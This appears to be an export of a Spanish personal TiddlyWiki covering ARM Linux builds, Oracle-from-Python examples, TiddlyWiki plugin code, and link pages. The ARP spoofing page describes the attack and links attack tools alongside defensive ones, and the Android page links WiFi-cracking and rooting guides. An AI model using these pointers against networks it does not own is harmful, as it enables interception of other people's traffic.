La máquina ARM es un AK802 lleva una Linaro por el momento, con un disco externo con una distribución Arch ARM, arrancada como un chroot. La máquina externa de desarrollo es un portátil con un procesador dual core y una distribución Arch Linux de 64 bits. Además, en vez de la herramienta oficial {{{pacman}}}, se va a utilizar el cliente {{{yaourt}}}, que mejora {{{pacman}}} en varios aspectos, como por ejemplo la descarga y compilación semi-automática de paquetes de código fuente del AUR.

Prácticamente todos los procedimientos pueden adaptarse a distintas distribuciones de trabajo, ¡pero en internet hay decenas de ejemplos de como usar un crosscompiler en Ubuntu y muy pocas de como hacerlo en Arch! Bueno, y que este es mi wiki y me lo follo como quiero :D En resumen, todos los ejemplos se realizarán usando Arch como base y entorno de desarrollo.

! Pasos 
Para obtener mi propia distribución de linux es necesario ralizar las siguientes tareas en el orden indicado:
# Obtener las herramientas necesarias para la compilación y el código fuente
## Obtener un cross compiler si se realiza desde un sistema x86 o compilador estandar si se compila desde el propio dispositivo.
## Obtener el código fuente necesario
# Crear un uboot. El uboot es el bootloader que permite cargar el sistema linux almacenado en la tarjeta micro-SD
## Configurar y preparar el código específicamente para el AK802
## Obtener las sunxi-tools
## Obtener los ficheros .fex específicos para AK802
## Compilar el uboot
# Obtener un "root filesystem". Esto es, el sistema base de la distribución de linux que queramos instlar. En este caso se usará Arch Linux ARM (también conocido como "ALARM").
# Compilar un kernel para el AK802.
## Obtener el código fuente
## Probablemente aplicar parches específicos para AK802
## Configurar el kernel. Lo mejor será empezar con el ".config" de otra distribución, y adaptarlo
## Compilar el kernel y generar la imagen uImage y los módulos
# Preparar la tarjeta micro SD con el sistema mínimo.
## Particionar la tarjeta, dejando espacio para el SPL y creando al menos 2 particiones: una FAT para el uBoot y una ext (o similares) para el sistema linux
## Copiar el SPL (fichero binario) de alguna fuente pública de internet o de otra distribución existente
## Copiar el uBoot y la imagen del kernel uImage a la partición FAT
## Configurar el uBoot para que cargue la imagen del kernel y el sistema de ficheros en la segunda partición
# Arrancar el sistema y comprobar que funciona (al menos de forma mínima)
# Configurar el sistema para que funcione de forma correcta e instalar los paquetes necesarios para disponer de un sistema estable y funcional
# Añadir librerías adicionales para el uso de la GPU, la VPU y otros sistemas.
# ¡Disfrutar!
# Como paso opcional, copiar la imagen binaria de la tarjeta micro-SD para referencia futura o para compartir con otros usuarios interesados. En tal caso hay que limpiar a conciencia posibles datos privados.

!! 1. Herramientas necesarias
!!! 1.a. Compilador y herramientas necesarias
!!!! Compilador
Dentro de una máquina ARM, el compilador GCC disponible será suficiente. En ALARM:
{{{
# yaourt -S base-devel
}}}
Hay que elegir la opción por defecto (todos).

En el portátil habría que instalar el crosscompiler (compilador cruzado), que permite compilar código en una plataforma, para otra distinta. Para ello habrá que usar AUR e instalar los paquetes [[gcc-arm-linux-gnueabihf-bin|https://aur.archlinux.org/packages/gcc-arm-linux-gnueabihf-bin/]], [[cpp-arm-linux-gnueabihf-bin|binutils-arm-linux-gnueabihf-bin|https://aur.archlinux.org/packages/binutils-arm-linux-gnueabihf-bin/]] y [[https://aur.archlinux.org/packages/cpp-arm-linux-gnueabihf-bin/]]. Para ello se puede utilizar {{{yaourt}}}, que automáticamente descargará las dependencias y compilará los paquetes:
{{{
# yaourt -S binutils-arm-linux-gnueabihf-bin cpp-arm-linux-gnueabihf-bin gcc-arm-linux-gnueabihf-bin
}}}
!!!! uboot-mkimage
Lo siguiente es la herramienta [[uboot-mkimage|https://aur.archlinux.org/packages/uboot-mkimage/]]:
{{{
yaourt -S uboot-mkimage
}}}
!!!! GIT
Los repositorios de código fuente usan git, por lo que hay que obtenerlo e instalarlo:
{{{
yaourt -S git
}}}
!!!! Resumen
Para obtener todas las herramientas en ARM:
{{{
yaourt -S base-devel  uboot-mkimage git
}}}

Para obtener todas las herramientas en x86:
{{{
yaourt -S base-devel binutils-arm-linux-gnueabihf-bin cpp-arm-linux-gnueabihf-bin gcc-arm-linux-gnueabihf-bin  uboot-mkimage git
}}}

!!! 1.b Código fuente
Todo el código fuente está disponible en [[git hub|https://github.com/linux-sunxi]]. Algunas herramientas pueden descargarse y compilarse usando yaourt, pero el resto habrá que prepararlas de forma manual. Se expondrán ambos casos.

!!!! sunxi-tools
[[Estas herramientas|https://github.com/linux-sunxi/sunxi-tools]] permiten manipular los ficheros de configuración de uboot, así como extraer datos de dispositvos A10 en funcionamiento. Están disponibles en AUR ({{{aur/sunxi-tools-git}}}). Para descargar de git:
{{{
# git clone https://github.com/linux-sunxi/sunxi-tools
}}}
!!!! sunxi-boards
Los ficheros .fex necesarios para usar estas herramientas están en otro repositorio:
{{{
# git clone https://github.com/linux-sunxi/sunxi-boards.git
}}}
!!!! sunxi-bsp
[[sunxi-bsp|https://github.com/linux-sunxi/sunxi-bsp]] son unas herramientas que ayudan a la compilación y creación definitiva de la imagen de disco. Se obtienen de aquí:
{{{
# git clone https://github.com/linux-sunxi/sunxi-bsp.git
}}}
!!!! kernel
Lo siguiente es descargar el código fuente de [[u-boot|https://github.com/linux-sunxi/u-boot-sunxi/wiki]] de la rama {{{sunxi}}}:
{{{
# git clone https://github.com/linux-sunxi/u-boot-sunxi.git
# cd u-boot-sunxi
# git checkout  sunxi
}}}

Por último, hay que descargar el código fuente del [[kernel|https://github.com/linux-sunxi/linux-sunxi]]:
{{{
# git clone git://github.com/linux-sunxi/linux-sunxi.git
# cd linux-sunxi
# git checkout sunxi-3.0
}}}

! Referencias
* Compilar un kernel: http://jas-hacks.blogspot.co.uk/2012/10/hackberry-a10-compiling-kernel-armhfs.html
* Formo de Miniand: https://www.miniand.com/forums/forums/development
* Wiki oficial de sunxi (arquitectura de las placas Allwinner): http://linux-sunxi.org/Main_Page
* Información sobre las placas A10: http://linux-sunxi.org/A10
* Guía de primeros pasos: http://linux-sunxi.org/FirstSteps
* Buildroot, herramienta para compilar distribuciones empotradas: http://buildroot.org/
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Oracle_Application_Express
** Página principal: http://apex.oracle.com/i/index.html
** APEX wiki: http://wiki.shellprompt.net/bin/view/Apex/WebHome
** Open APEX: http://apex.oracle.com/pls/otn/f?p=45326:107:118231900553200
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
API son las siglas de Application Programming Interface, y hace referencia a una serie de ficheros o URLs que facilitan la programación para diversos servicios, librerías o aplicaciones.

//Véase// ReferenciaRápida
!Descripción
<part descripcion>
El "ARP spoofing" o "envenenamiento de la caché ARP" consiste en enviar paquetes ARP falsificados dentro de una red LAN para confundir a la víctima y hacerle creer que una IP está asociada a la MAC de la máquina atacante. Este ataque suele usarse como inicio de un [[Man in the middle]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/ARP_poisoning
** Artículo con ejemplos y simulaciones: http://www.osischool.com/protocol/arp/arp-spoofing

* ''Herramientas de ataque:''
** Ettercap: http://sourceforge.net/projects/ettercap/files/
*** Tutorial de Ettercap: http://openmaniak.com/ettercap_arp.php
*** Tutorial de Flu Project: http://www.flu-project.com/jugando-con-ettercap-parte-i-de-iii.html
** Cain: http://www.oxid.it/cain.html

* ''Herramientas de detección y defensa:''
** xarp: http://www.chrismc.de/development/xarp/
** arpon: http://arpon.sourceforge.net/index.html
** seringe: http://www.securiteam.com/tools/5QP0I2AC0I.html

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
El arte ASCII consiste en forma figuras compuestas por caracteres de texto plano. Generalmente suelen usarse fuentes de letra de ancho fijo.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Arte_ASCII
* ASCII Art en el Open Directory: http://www.dmoz.org/Arts/Visual_Arts/ASCII_Art/

!! Galerías de obras ASCII Art
* ASCII Art Dictionary: http://www.ascii-art.de/ascii/
* ASCII Art Archive: http://www.myhairyass.com/ASCII/Art/
* ASCII Art Farts: http://www.asciiartfarts.com/
* ASCII World: http://www.asciiworld.com/
* ASCII Art Gallery: http://asciiartgallery.com/
* ASCII Picture Collections: http://www.afn.org/~afn39695/collect.htm

!! Conversores de imágenes a ASCII Art
* Photo2Text: http://photo2text.com/
* ASCII Converter: http://asciiconvert.com/
* Text Image: http://www.text-image.com/

!! Conversores de texto a ASCII Art
* FIGlet: http://www.figlet.org/
* FIGwin (versión windows de FIGlet): ftp://ftp.figlet.org/pub/figlet/program/windows/
* ASCII Generator: http://www.network-science.de/ascii/
* Text ASCII Art Generator: http://patorjk.com/software/taag/

!! Otro arte con texto
* Unicode Art: http://www.unicodeart.com/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Trollface ^^[[<editar>|$1]]^^
{{{
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄ 
░░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░█ 
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░█ 
░▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░█▄ 
█░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒█ 
█░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█ 
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█ 
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█ 
░░█░░░░██░░▀█▄▄▄█▄▄█▄▄▄█▄█░█ 
░░░█░░░░▀▀▄░█░░░█░▀▀█▀█▀██░█ 
░░░░▀▄░░░░░▀▀▄▄▄█▄▄▄█▄█▄▀░░█ 
░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█ 
░░░░░░░░░▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
}}}
!Descripción
<part descripcion>
AWK es un lenguaje de manipulación de flujos de texto. Es utilizado desde los tiempos de UNIX y la implementación más habitual es Gawk, la realizada por GNU.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/AWK
** Gawk, la implementación GNU de AWK: http://www.gnu.org/software/gawk/gawk.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
!! Musicales
* Jotas groseras: http://www.cabezoalto.es/groseras/jotasconocidas.htm

!! Servicios absurdos
* Cacas a domicilio: http://www.cacasadomicilio.com/pajaro-bebedor/

!! Memes
* Recopilación de caras: http://dl.dropbox.com/u/3297410/funny/116225_460s_v1.jpg
* Diccionario de memes: http://memebase.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Acceder a Oracle desde Python es fácil si sabes como. Parece el título perogrullesco de un libro de autoayuda, pero es lo que pretendo mostrar en este pequeño artículo: como acceder a bases de datos [[Oracle|OracleDatabase]] de forma sencilla desde [[Python]] gracias a la librería [[cx_oracle|http://cx-oracle.sourceforge.net/]].

La librería {{{cx_Oracle}}} cumple el estándar [[Python Database API Specification v2.0|http://www.python.org/dev/peps/pep-0249/]], por lo que se pueden utilizar las funciones definidas por el estándar.

! Preparación
Antes de entrar en materia, se necesitan dos cosas: el cliente Oracle y, obviamente, la librería cx_oracle. El cliente de Oracle viene incluido al obtener Oracle XE, pero también se puede descargar por separado de la página de descarga del Oracle Instant Client (OCI para los amigos): http://www.oracle.com/technology/software/tech/oci/instantclient/index.html

La librería Python tiene su residencia habitual en Source Forge: http://cx-oracle.sourceforge.net/ . Ahí se pueden encontrar distintas versiones para múltiples arquitecturas. Los amantes de Linux y Python también pueden intentar el habitual {{{easy_install cx_oracle}}} pero al menos en windows me falló.

@@¡CUIDADO!@@ Hay que descargar la versión indicada para el cliente OCI descargado. Esto es, si se utiliza la versión 10g del cliente, hay que descargar la librería para la versión 10. En caso de que difieran, al intentar conectar nos devolverá un error {{{ORA-}}}

! Conectando
Igual que sucede con el cliente {{{JDBC}}}, se puede conectar de distintas formas a la base de datos. El siguiente código de ejemplo mostrará las más usuales:
<code python>
import cx_Oracle

# Especificando cadena de conexion y usando un nombre de TNS definido en tnsnames.ora:
con1 = cx_Oracle.connect("SANTRANS/SANTRANS@XE")
print con1.version #Solo se muestra si se ha conectado con exito
con1.close()

# Especificando cadena completa al estilo "easy connect"
con2 = cx_Oracle.connect("SANTRANS/SANTRANS@localhost:1521/XE")
print con2.version
con2.close()

# Usando un objeto DSN
dsn = cx_Oracle.makedsn('127.0.0.1', 1521, 'XE')
con3 = cx_Oracle.connect('SANTRANS', 'SANTRANS', dsn)
print con3.version
con3.close()
</code>

! Obteniendo registros
Para obtener resultados se necesita un cursor. Suponiendo que el objeto con la conexión correctamente establecida se llame {{{con}}}, en el siguiente ejemplo se obtiene un cursor:
<code python>
cur = con.cursor()
</code>

Sobre este cursor se pueden hacer las distintas operaciones. Para ejecutar una SQL simple que devuelva varias líneas:
<code python>
# Consulta SQL (con triples comillas porque ocupa varias lineas, y para escapar las comillas)
sql = """SELECT MN_TEXTO as "Nombre", MN_LINK as "Link"
FROM TRA_WEB_MENU
WHERE MN_PADRE = > 0"""

# Ejecuta la sentencia
cur.execute(sql)

# Recoje todos los resultados arrojados por el cursor (no recomendado para muchos resultados)
res = cur.fetchall()
</code>

En la variable {{{res}}} se almacena un array con todos los resultados obtenidos. Al recorrerlo mostrará todos los resultados por filas y columnas.

! Consultas parametrizadas
Al hacer la consulta se le pueden pasar parámetros. Un parámetro se usará dentro de la consulta sql como {{{:nombre_parametro}}}. El valor de los parámetros se concretará en el momento de realizar la consulta pasándole al método {{{execute}}} tantos parámetros como parámetros se tengan que expandir en la SQL. Veámoslo con un ejemplo:
<code python>
sql = """SELECT MN_TEXTO as "Nombre", MN_LINK as "Link"
FROM TRA_WEB_MENU
WHERE MN_PADRE =  :padre"""

cur = con.cursor()

# Se le pasa el parámetro "padre" con valor "1"
cur.execute(sql, padre=1)
res = cur.fetchall()
</code>

! Referencias
* http://cx-oracle.sourceforge.net/
* http://cx-oracle.sourceforge.net/html/index.html
* http://wiki.freaks-unidos.net/oracle-desde-python-en-debian
* http://www.oracle.com/technology/pub/articles/devlin-python-oracle.html
* http://74.125.77.132/search?hl=es&source=hp&q=cache%3Ahttp%3A%2F%2Fwww.oracle.com%2Ftechnology%2Fpub%2Farticles%2Fdevlin-python-oracle.html&meta=&aq=f&aqi=&aql=&oq=&gs_rfai=
Un ActionForm es una clase de Struts que se encarga de guardar y cargar datos de un formulario HTML. Un objeto ActionForm se declara en el {{{struts-config.xml}}} para un Action concreto.

Los ActionForm son también Java Beans, por lo que definen una serie de métodos get/set para cada propiedad.
<<showtoc>>
! Descripción
<part descripcion>
Administración de sistemas basados en GNU/Linux
</part>
! Enlaces
<part enlaces>
!! Tutoriales
* 50 tutoriales de administración para UNIX y Linux: http://www.thegeekstuff.com/2010/12/50-unix-linux-sysadmin-tutorials/

!! Libros
* Administración Avanzada del Sistema Operativo GNU/Linux: http://ftacademy.org/materials/fsm/2

!! Herramientas
* Frontends para IP Tables: http://www.securitybydefault.com/2011/01/recopilacion-de-frontends-para-iptables.html

!! Misc
* Uso avanzado de yaourt: http://www.redoscura.com/?m=20101012
* Comprobar badblocks: http://smartmontools.sourceforge.net/badblockhowto.html
* Manuales de SMART mon tools: http://sourceforge.net/apps/trac/smartmontools/wiki/TocDoc
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|AdvancedOptionsPlugin|
|Source|http://www.TiddlyTools.com/#AdvancedOptionsPlugin|
|Documentation|http://www.TiddlyTools.com/#AdvancedOptionsPlugin|
|Version|1.2.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.3|
|Type|plugin|
|Description|automatically add plugin-defined options to the [[AdvancedOptions]] shadow tiddler|
!!!!!Usage
<<<
At document startup, this plugin examines each tiddler tagged with <<tag systemConfig>> and looks for a tiddler slice named "Options" whose value refers to a tiddler section (or separate tiddler) that contains an 'advanced options control panel' for configuring that plugin's features and behavior.  For each plugin that contains an "Options" slice, a tabbed entry is automatically created in the [[AdvancedOptions]] shadow tiddler to display that plugin's control panel.

As an optional fallback for backward-compatibility with plugin tiddlers that do not define the "Options" slice, this plugin will also look for a section heading named "Configuration" within those tiddlers, so that older plugins that define this section can automatically have their settings added to the [[AdvancedOptions]] tiddler without requiring the "Options" slice to be added.

This plugin also extends the standard {{{<<option>>}}} macro syntax so you can directly set the internal value of a boolean or text option, without displaying a corresponding checkbox or input field control simply by appending {{{=value}}} syntax to the end of the option ID parameter:
{{{
<<option "txtSomeOption=some text">>
<<option chkSomeOtherOption=true>> OR <<option chkSomeOtherOption=false>>
}}}
Example: {{{<<option chkAnimate=false>>}}}
<<<
!!!!!Configuration
<<<
<<option chkAdvancedOptions>> automatically add plugin-defined options to the [[AdvancedOptions]] shadow tiddler
<<option chkAdvancedOptionsBackstage>> automatically add plugin-defined options to Backstage menu
<<option chkAdvancedOptionsFallback>> use <<option txtAdvancedOptionsFallback>> section as a fallback for plugins that don't define an ~AdvancedOptions slice
//note: these settings only take effect after reloading the document//
<<<
!!!!!Revisions
<<<
2009.07.23 [1.2.0] added support for enhanced {{{<<option id=value>>}}} 'direct assignment' syntax
2008.05.09 [1.1.0] add "options" panel to backstage
2008.04.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.AdvancedOptionsPlugin= {major: 1, minor: 2, revision: 0, date: new Date(2009,7,23)};

if (config.options.chkAdvancedOptions===undefined)
	config.options.chkAdvancedOptions=true;
if (config.options.chkAdvancedOptionsBackstage===undefined)
	config.options.chkAdvancedOptionsBackstage=true;
if (config.options.chkAdvancedOptionsFallback===undefined)
	config.options.chkAdvancedOptionsFallback=true;
if (config.options.txtAdvancedOptionsFallback===undefined)
	config.options.txtAdvancedOptionsFallback="Configuration";
if (config.optionsDesc) config.optionsDesc.chkAdvancedOptions=
	"automatically add plugin-defined options to [[AdvancedOptions]]";
//}}}
//{{{
var items=[];
var fmt="[[%0 ]] [[view options for %0]] [[%1]]\n";
var section=config.options.txtAdvancedOptionsFallback;
var plugins=store.getTaggedTiddlers("systemConfig");
for (var p=0; p<plugins.length; p++) {
	var tid=plugins[p].title;
	var settings=store.getTiddlerSlice(tid,"Options");
	if (!settings && config.options.chkAdvancedOptionsFallback && store.getTiddlerText(tid+"##"+section))
		settings="##"+section; // fallback handling for older plugins
	if (settings&&settings.length) {
		if (settings.substr(0,2)=="##") settings=tid+settings;
		items.push(fmt.format([tid,settings]));
	}
}
if (items.length) config.shadowTiddlers.PluginOptions=
	"!![[Plugin-defined options|PluginManager]]\n>@@text-align:left;<<tabs '' \n"+items.join(' ')+">>@@";
if (config.options.chkAdvancedOptions)
	config.shadowTiddlers.AdvancedOptions+="{{smallform{{{wrap{<<tiddler PluginOptions>>}}}}}}";
//}}}
//{{{
// // add "options" backstage task
if (config.tasks && config.options.chkAdvancedOptionsBackstage) { // for TW2.2b3 or above
	config.tasks.options = {
		text: "options",
		tooltip: "manage plugin-defined option settings",
		content: "{{smallform{{{groupbox{{{wrap{<<tiddler PluginOptions>>}}}}}}\n{{groupbox small {<<options>>}}}}}}"
	}
	config.backstageTasks.splice(config.backstageTasks.indexOf("plugins")+1,0,"options");
}
//}}}
//{{{
config.macros.option.AOPsave_handler=config.macros.option.handler;
config.macros.option.handler=function(place,macroName,params,wikifier,paramString,tiddler) {
	var parts=params[0].split('=');
	if (parts.length==1) return this.AOPsave_handler.apply(this,arguments);
	var id=parts[0]; var val=(id.substr(0,3)=='txt')?parts[1]:(parts[1]=='true');
	config.options[id]=val;
}
//}}}
! ¿Qué es AjaxAnywhere?
Es una librería [[J2EE]] que permite automatizar el uso de Ajax. Mediante etiquetas personalizadas se marcan "zonas actualizables" dentro de un JSP. Cuando llegue la respuesta del servidor se actualizarán sólo esas zonas en vez de la página completa.

! ¿De donde se puede descargar?
De aquí http://ajaxanywhere.sourceforge.net/

! Introducir AjaxAnywhere en un JSP, paso por paso
* Incluir las cabeceras con el JSP de utilidades y las etiquetas personalizadas:
<code xml>
<%@ page import="org.ajaxanywhere.AAUtils"%>
<%@ taglib uri="http://ajaxanywhere.sourceforge.net/" prefix="aa" %>
</code>
* Marcar las zonas actualizables:
<code xml>
<aa:zone name="nombreZona">
    <%--
        CÓDIGO DEL JSP AQUÍ
        Normalmente serán formularios.
     --%>
</aa:zone>
</code>
* Introducir en las funciones javascript que hagan commit lo siguiente:
<code javascript>
function enviar() {
    ajaxAnywhere.getZonesToReload = function() { return "nombreZona"; }
    ajaxAnywhere.submitAJAX();
}
</code>

! Tutorial de verdad
Si quieres un tutorial decente, mira este: http://ajaxanywhere.sourceforge.net/quickStart.html

! Resolución de problemas habituales
!! Fallo al hacer sorting en displaytag en una zone ajaxanywhere
Añadir {{{excludedParams="aaxmlrequest"}}} en la declaración  {{{<display:table />}}}
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Los algoritmos genéticos son una serie de algoritmos informáticos que pretenden simular el comportamiento de la evolución biológica para aplicarlo a la resolución de problemas.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Algoritmo_gen%C3%A9tico
* Informática evolutiva, algoritmos genéticos: http://geneura.ugr.es/~jmerelo/ie/ags.htm
* Algoritmos genéticos y computación evolutiva: http://the-geek.org/docs/algen/
* Hola mundo de los algortimos genéticos: http://fog.neopages.org/helloworldgeneticalgorithms.php
* Advances in Genetic Programming: http://cognet.mit.edu/library/books/view?isbn=0262194236
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|AliasPlugin|
|Source|http://www.TiddlyTools.com/#AliasPlugin|
|Documentation|http://www.TiddlyTools.com/#AliasPluginInfo|
|Version|1.1.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|Create text-substitution macros|
Define macros for abbreviations and other "aliases", and then embed them in the rest of your tiddler content to quickly insert common terms, phrases and links without a lot of repetitive typing.
!!!!!Documentation
> see [[AliasPluginInfo]]
!!!!!Revisions
<<<
2009.09.09 1.1.1 'tiddler' arg passed to wikify() so aliases containing macros render with correct context
| Please see [[AliasPluginInfo]] for previous revision details |
2005.08.12 1.0.0 initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.AliasPlugin= {major: 1, minor: 1, revision: 1, date: new Date(2009,9,9)};
config.macros.alias= { };
config.macros.alias.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	var alias=params.shift(); if (!alias) return; alias=alias.replace(/ /g,"_"); // don't allow spaces in alias
	if (config.macros[alias]==undefined) { // create new macro (as needed)
		config.macros[alias] = { };
		config.macros[alias].handler =
			function (place,macroName,params,wikifier,paramString,tiddler)
				{ wikify(config.macros[macroName].text.format(params),place,null,tiddler); }
	}
	config.macros[alias].text = params[0]?params.join(' '):alias;	// set alias text
}
//}}}
/***
|Name|AliasPlugin|
|Source|http://www.TiddlyTools.com/#AliasPlugin|
|Documentation|http://www.TiddlyTools.com/#AliasPluginInfo|
|Version|1.1.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|documentation for AliasPlugin|
Define macros for abbreviations and other "aliases", and then embed them in the rest of your tiddler content to quickly insert common terms, phrases and links without a lot of repetitive typing.
!!!!!Usage
<<<
{{{
<<alias keyword "content to display">>
}}}
Select a short keyword or other abbreviated term that is easily input with just a few keystrokes.  When the {{{<<alias>>}}} macro is processed, it creates a new macro for you to embed in tiddler content, using the specified alias keyword as the name for that new macro.  You can choose any keyword you like, but don't include any spaces, as macro names must not contain spaces.

In order to ensure that your aliases are always defined and available for use, you should add your definitions to a tiddler that you are certain will be displayed when your TW is first loaded (e.g., [[MainMenu]]).  The {{{<<alias>>}}} macro itself won't actually produce any visible output, so it can be safely added to practically any tiddler without producing a change in that tiddler's appearance.

To use the aliases you have defined, simply invoke them as you would any other TiddlyWiki macro, e.g.,
{{{<<keyword>>}}}.  If you include parameters when you invoke the macro -- {{{<<keyword param param param...>>}}} -- they can be inserted direclty into the output by replacing corresponding substitution markers, indicated by using "%0" through "%9" in the "text to display" parameter used when the alias was defined.  For example, to define a quick alias for inserting a link to any given subject on www.wikipedia.com, you can write:
{{{
<<alias wikipedia "[[Wikipedia:%0|http://www.wikipedia.com/wiki/%0]]">>
}}}
which allows you to then write:
{{{
<<wikipedia TiddlyWiki>>
}}}
which is processed as if you wrote:
{{{
[[Wikipedia:TiddlyWiki|http://www.wikipedia.com/wiki/TiddlyWiki]]
}}}
and is displayed this way:
><<alias wikipedia "[[Wikipedia:%0|http://www.wikipedia.com/wiki/%0]]">><<wikipedia TiddlyWiki>>

Another interesting example uses the substitution markers to automatically display a reference to a TiddlerSlice value:
{{{
<<alias describe {{"|\<\<tiddler [[%0::Description]]\>\>|\n"}}>>
}}}
which allows you to then write:
{{{
<<describe AliasPlugin>>
}}}
which is processed as if you wrote:
{{{
|<<tiddler [[AliasPlugin::Description]]>>|
}}}
and is displayed this way:
<<alias describe {{"|\<\<tiddler [[%0::Description]]\>\>|\n"}}>><<describe AliasPlugin>>
<<<
!!!!!Revisions
<<<
2009.09.09 1.1.1 'tiddler' arg passed to wikify() so aliases containing macros render with correct context
2008.03.11 [*.*.*] plugin size reduction - documentation moved to [[AliasPluginInfo]]
2007.03.21 1.1.0 added support for parameter substitution into alias macros, using format() method and%0..%9 markers
2005.10.09 1.0.3 combined documentation and code into a single tiddler
2005.08.12 1.0.0 initial release
<<<
<<showtoc>>
! Descripción
<part descripcion>
La plataforma Android está orientada a móviles y dispositivos portátiles conectados. Consiste en un Linux modificado como base, una máquina virtual Java a medida y con diversas modificaciones, y una serie de librerías.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Android
* Página principal: http://www.android.com/
* Página principal para desarrolladores: http://developer.android.com/
* Descarga del SDK: http://developer.android.com/sdk/index.html

!! Blogs y páginas con información
* XDA Developers: xda-developers.com
* android.es: http://www.android.es/
* Android Police: http://www.androidpolice.com/
* Android Scene Beta: http://android.scenebeta.com/
* El Android Libre: http://www.elandroidelibre.com/
* Xataka Android: http://www.xatakandroid.com/

!! Gestión y modificación
!!! HTC Desire
* Datos en XDA-Developers: http://forum.xda-developers.com/wiki/index.php?title=HTC_Desire
* Foro de HTCMania: http://www.htcmania.com/forumdisplay.php?f=214
* Desbloquear operadora: http://gizmovil.com/2011/02/htc-desire-como-liberar-tu-movil-gratis
* Tutoriales: http://www.htcmania.com/showthread.php?t=115823
* Tutoriales para rootear: http://www.htcmania.com/showthread.php?t=115828
* Preguntas y respuestas: http://www.htcmania.com/mediawiki/index.php/Preguntas_y_respuestas_frecuentes_para_HTC_Desire
* Gestión de memoria: http://gizmovil.com/2010/07/nexusone-htcdesire-gestion-memoria
* Datos para Desire en XDA-Developers: http://forum.xda-developers.com/showthread.php?t=809328
* Wifi en modo monitor: http://www.hackplayers.com/2012/11/crackea-redes-wifi-con-tu-androiden.html
** Página del proyecto: http://bcmon.blogspot.com/

!!! Liberar
* Utilidades para liberar la Desire: http://www.htcmania.com/showthread.php?t=180849

!!! Preparativos para rootear
* Como particionar la SD: http://forum.xda-developers.com/showpost.php?p=7279872&postcount=3
* Instalar Amon RA Recovery: http://forum.xda-developers.com/showthread.php?t=687280
* Amon RA: http://forum.xda-developers.com/showthread.php?p=9207011
* Instalar ClockworkMod: http://forum.xda-developers.com/showpost.php?p=9207285&postcount=1
* Instalar Fake Flash: http://forum.xda-developers.com/showthread.php?t=689778
* S-ON -> S-OFF: http://alpharev.nl/
* Rooteador universal para HTC: http://forum.xda-developers.com/showthread.php?t=1870652

!!! Hacerte root
* Aprende a rootear de forma sencilla: http://www.xatakandroid.com/tutoriales/aprende-a-rootear-tu-android-de-manera-facil-y-rapida
* Tutorial de rooteo: http://www.htcmania.com/mediawiki/index.php/C%C3%B3mo_rootear_HTC_Desire
* Rootear paso a paso: http://www.htcspain.com/htc-desire-206/rotear-o-acceso-root-paso-paso-para-nuestra-desire-41699/
* Glosario y tutorial básico: http://www.htcmania.com/showthread.php?t=136771
* How To: Root the HTC Desire:http://theunlockr.com/2010/09/20/how-to-root-the-htc-desire-unrevoked-method/
* Minitutorial de UnRevoked: http://forum.xda-developers.com/showthread.php?t=788044
* Guía completa para rootear HTC Desire: http://forum.xda-developers.com/showthread.php?t=696189
* Rootear un HTC Desire de marca (orange): http://forum.xda-developers.com/showpost.php?p=6710085&postcount=3
